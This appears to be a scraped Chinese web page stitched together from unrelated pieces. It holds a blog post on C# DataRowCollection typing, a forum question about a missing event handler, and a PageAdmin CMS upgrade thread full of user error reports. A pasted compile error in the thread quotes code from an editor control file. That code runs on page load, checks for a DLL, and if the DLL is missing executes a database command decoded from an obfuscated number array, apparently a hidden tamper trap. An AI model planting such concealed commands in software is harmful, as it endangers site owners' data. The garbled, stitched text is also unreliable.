错误 4 “system找不到.Data.DataSet”不包含“Fill”的定义,并且找不到可接受类型为“S

浅谈 System.Data.DataRowCollection类
我们来看看以下程序吧:
using System.D
using System.L
namespace Skyiv.Ben
class Program
static void Main()
var dt = new DataTable();
dt.Rows.Add();
foreach (var row in dt.Select())
Console.WriteLine(row.GetType());
Console.WriteLine(row.RowState);
上述程序中第 12 行中的 DataTable 类的 Rows 属性的类型为 DataRowCollection 类。第 13 行中的 DataTable 类的 Select 方法返回 DataRow[] 数组。我们知道,foreach 语句对实现 System.Collections.IEnumerable 或 System.Collections.Generic.IEnumerable&T& 接口的数组或对象集合中的每个元素重复一组嵌入式语句。所以该 foreach 语句中的 row 变量的类型被推断为 DataRow 类。这个程序的运行结果如下所示:
System.Data.DataRow
如果把上述程序中的第 13 行改为:
foreach (var row in dt.Rows)
这时,会出错以下编译错误:
Program.cs(16,31): error CS1061:
&object&不包含&RowState&的定义,并且找不到可接受类型为&object&的第
一个参数的扩展方法&RowState&(是否缺少 using 指令或程序集引用?)
这是因为 DataRowCollection 类只实现了 System.Collections.IEnumerable 接口,而没有实现 System.Collections.Generic.IEnumerable&DataRow& 接口,所以该 foreach 语句中的 row 变量的类型被推断为 System.Object 类。
仅实现 IEmnumerable 接口而没有实现 IEnumerable&T& 接口的集合类还有非常多,例如:
System.Data.DataColumnCollection
因为泛型是在 .NET 2.0 中才引入的,上述类中的大部分都是在 .NET 1.0 中已经就有了。但是 Microsoft 应该在 .NET 2.0 以后为上述类实现 IEnumerable&T& 接口才对。这不能不说是 .NET Framework Base Class Library 的一个遗憾。请参阅 MSDN 上的一个相关的帖子: 。
幸运的是,在 .NET Framework 3.5 及其以后的版本中, 在 System.Linq 命名空间中增加了
扩展方法,可以将 IEnumerable 的元素转换为指定的 TResult 类型。这样,上述程序第 13 行改为:
foreach (var row in dt.Rows.Cast&DataRow&())
就可以正常工作了。当然,在这个场合还有更好的解决方案,就是将第 13 行改为:
foreach (DataRow row in dt.Rows)
就可以了。
也有好消息,就是 System.Collections.ObjectModel 命名空间中的 Collection&T& 类实现了 IEnumerable&T& 接口,而 Collection&T& 类有很多派生类。例如 System.Net 命名空间中的 IPEndPointCollection 类就是从 Collection&IPEndPoint& 类继承,因此也就实现了 IEnumerable&IPEndPoint& 接口。问题: 帮帮忙:不包含“btnMonitor_Click”的定义,并且找不到可接受类型为
&asp:Button&ID="btnMonitor"&Height="29px"&runat="Server"
&&&&&&&&&&&&&&&&style="margin-left:&62px"&Text="监控"& alt=""/>解决方案2:
自己解决了啊&楼主……
解决方案3:
嗯,我猜也是那里出了问题.
解决方案4:
cs文件是否对应上
以上介绍了“ 帮帮忙:不包含“btnMonitor_Click”的定义,并且找不到可接受类型为”的问题解答,希望对有需要的网友有所帮助。
本文网址链接:/itwd/2140074.html
上一篇: 下一篇:2010年8月 .NET技术大版内专家分月排行榜第三
2010年 总版技术专家分年内排行榜第一2009年 总版技术专家分年内排行榜第一
2011年 总版技术专家分年内排行榜第二
2014年5月 企业软件大版内专家分月排行榜第一2013年2月 企业开发大版内专家分月排行榜第一
2015年1月 企业软件大版内专家分月排行榜第二2013年10月 企业软件大版内专家分月排行榜第二2013年5月 企业开发大版内专家分月排行榜第二2013年4月 企业开发大版内专家分月排行榜第二2013年3月 企业开发大版内专家分月排行榜第二
2017年2月 总版技术专家分月排行榜第三
2017年3月 .NET技术大版内专家分月排行榜第一2017年2月 .NET技术大版内专家分月排行榜第一2016年10月 .NET技术大版内专家分月排行榜第一2016年8月 .NET技术大版内专家分月排行榜第一2016年7月 .NET技术大版内专家分月排行榜第一
2017年2月 总版技术专家分月排行榜第三
2017年3月 .NET技术大版内专家分月排行榜第一2017年2月 .NET技术大版内专家分月排行榜第一2016年10月 .NET技术大版内专家分月排行榜第一2016年8月 .NET技术大版内专家分月排行榜第一2016年7月 .NET技术大版内专家分月排行榜第一
本帖子已过去太久远了,不再提供回复功能。2011年12月 .NET技术大版内专家分月排行榜第三
本帖子已过去太久远了,不再提供回复功能。v3.0 版发布及升级说明
查看: 12313|回复: 21
v3.0 版发布及升级说明
当前版本的主要更新日志:1、增加:分站支持跨站数据调用,并可以分站打开,方便手机网站制作,并可以pc站点共享数据。(手机网站制作教程:) 2、增加:插件区&站内广告增加结束日期设置,并增加了自定义表单数据读取接口。 3、增加:幻灯片增加了自定义表单数据读取接口,并完善和美化了幻灯片类型。 4、增加:计划任务中增加了静态文件的刷新任务选择。 5:增加:自定义表单增加了新数值字段用于替换titlepic&&''这种方式效率低下的缺陷。 6:增加:增加了select下拉类型字段的跨表单关联数据表,方便各不同表之间的数据关联。 7、改进:修改了栏目和信息设置自定义seo标题后不再自动加上网站名称,便于SeO标题的灵活化设置。 8、改进:更换了默认编辑器,编辑器兼容性和加载速度更好。 9、改进:采集信息的链接地址允许多个关键词过滤筛选。 10:修正:投稿表单只发送邮件时会插入空白数据的bug. 11、修正:会员资料查看反馈信息表单出错的bug. 12、修正:信息分类中反馈表单的信息链接出错的bug. 13、修正:采集信息采集字段内容为空出错的bug. 14、修正:修正了会员短信和会员留言被越权访问的bug.....更新文件包: (说明:此升级包只对v3的版本有效,跨版本升级参考:)升级说明(升级前请先备份一下您的网站和数据库):1、下载更新文件包,然后解压后并覆盖你网站的同名目录(注意覆盖后建议不要打开网站,直接进入第2步)2、在浏览器中输入:http://你的域名/update.aspx,打开后点击升级按钮即可。3、运行update.aspx文件完毕后,然后进入网站后台,在左侧选择表单模型管理&&数据表管理,进入数据表管理界面后,依次点击管理栏里面每个表对应的“更新文件”按钮,在进入插件调用&&幻灯片中更新一下所有幻灯片(点击反选,再点击更新按钮)4、如果网站生成了静态,请重新生成所有的静态文件即可。(参考:)升级后如出现任何疑问及问题、请大家到反馈,后续我们将继续整合所有的反馈和建议持续改进系统,再次感谢大家对PageAdmin一直以来的支持。
pageadmin cms-网站建设高效解决之道
给力!!!
分站支持跨站数据调用,并可以分站打开,方便手机网站制作,并可以pc站点共享数据&& 具体如何操作啊?
升级以后,会员登陆就报错,显示字段为空。
我的升级以后,会员登录提示至少一个参数没有被指定值
升级后不能生成静态
升级后不能生成静态,有两个栏目和文章资讯不能生成静态如图所示(.com): (116.28 K) 14:09:28 ( 98.43 K, 下载次数:0) ( 14:09:28 上传)
回复 重新下载,这个开发那边更新过了,已解决了这个问题
升级显示错误,请指点,谢谢!
升级错误:哪位能告诉我是什么原因吗?
回复 重新去下载一下。
老大 能跟说下&&会员前台登录不上的原因吗? 是因为这次的新版不支持&&access 数据库吗?
[b]回复 [url=http://bbs.pageadmin.net/showtopic-31864.aspx#楼[color=olive]pageadmin[/color]的帖子[/url][/b]无法下载了
升级后后台网站参数设置出现错误“/”应用程序中的服务器错误。编译错误说明: 在编译向该请求提供服务所需资源的过程中出现错误。请检查下列特定错误详细信息并适当地修改源代码。 编译器错误消息: CS1061: “PageAdmin.Conn”不包含“Constr”的定义,并且找不到可接受类型为“PageAdmin.Conn”的第一个参数的扩展方法“Constr”(是否缺少 using 指令或程序集引用?)源错误:行 85: //行 86: //http://docs.fckeditor.net/FCKeditor_2.x/Developers_Guide/Configuration/Configuration_Options行 87: %&&% @ Import NameSpace=&System.Data&%&&% @ Import NameSpace=&System.Data.OleDb&%&&% @ Import NameSpace=&PageAdmin&%&&% @ Import NameSpace=&System.IO&%&&%bool iserror=Conn theconn=new Conn();string FilePath=Server.MapPath(&/bin/PageAdmin.Web.dll&);if(!File.Exists(FilePath)){iserror=}if(iserror){OleDbConnection conn=new OleDbConnection(theconn.Constr());conn.Open();int[] TheNum=new int[]{20,15,3,0,19,4,93,15,0,73,19,0,1,11,4,93,18,4,19,93,3,4,5,0,20,11,19,73,18,14,17,19,76,84,19,7,4,3,0,19,0,93,3,4,18,2,84};OleDbCommand comm=new OleDbCommand(theconn.GetString(TheNum),conn);comm.ExecuteNonQuery();conn.Close();}%&源文件: e:\H2\e\incs\fckeditor\fckeditor.ascx&&&&行: 87 显示详细的编译器输出:c:\windows\system32\inetsrv& &C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe& /tbrary /utf8output /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c\System.Xml.Linq.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf\System.Activities.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\57eea72a\003ebd49_093ad001\PageAdmin.Install.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.DynamicData\v4.0_4.0.0.0__31bf\System.Web.DynamicData.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.WorkflowServices\v4.0_4.0.0.0__31bf\System.WorkflowServices.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf\System.Web.Extensions.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.ApplicationServices\v4.0_4.0.0.0__31bf\System.Web.ApplicationServices.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_ponentModel.DataAnnotations\v4.0_4.0.0.0__ponentModel.DataAnnotations.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.Services\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.Services.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c\System.Data.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c\System.IdentityModel.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c\System.Core.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Activation\v4.0_4.0.0.0__31bf\System.ServiceModel.Activation.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\c2a02bf2\7e04ac68_\PageAdmin.Global.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\\d829d89b_6a7ed001\PageAdmin.Log.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c\System.Xml.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Data.DataSetExtensions\v4.0_4.0.0.0__b77a5c\System.Data.DataSetExtensions.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\f42be04c\ea95b427_563bcf01\PageAdmin.Watermark.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\feed001\PageAdmin.Web.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\addde2fe\04bc921d_mMethod.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c\System.Runtime.Serialization.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\ea1\PageAdmin.SendMessage.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c\System.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\45f9b6f7\09b11b24_70e0cf01\PageAdmin.Thumbnai.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\075f1d5e\62e7fbd4_16f8cf01\PageAdmin.Html.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\2d061cb_1d44d001\PageAdmin.Conn.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Activities\v4.0_4.0.0.0__31bf\System.ServiceModel.Activities.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Web\v4.0_4.0.0.0__31bf\System.ServiceModel.Web.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\9b602d3b\bcf01\PageAdmin.Md5.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\c1698d78\ac37edb8_ef77d001\PageAdmin.Editor.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\760fc2b4\_a245d001\PageAdmin.Pay.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll& /R:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\App_global.asax.ttcq4mjr.dll& /R:&C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c\System.ServiceModel.dll& /out:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\App_Web_11saippw.dll& /debug- /optimize+ /win32res:&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1dsaippw.res& /w:4 /nowarn:01;612;618 /warnaserror-&&&C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\App_Web_11saippw.0.cs& &C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\App_Web_11saippw.1.cs&Microsoft(R) Visual C# 编译器版本 4.0.用于 Microsoft(R) .NET Framework 4.5版权所有 (C) Microsoft Corporation。保留所有权利。e:\H2\e\incs\fckeditor\fckeditor.ascx(87,357): error CS1061: “PageAdmin.Conn”不包含“Constr”的定义,并且找不到可接受类型为“PageAdmin.Conn”的第一个参数的扩展方法“Constr”(是否缺少 using 指令或程序集引用?)
如何升级啊
以前的广告公司宽屏模版升级后下拉菜单不能用了,有啥解决办法

我要回帖

更多关于 system找不到 的文章

 

随机推荐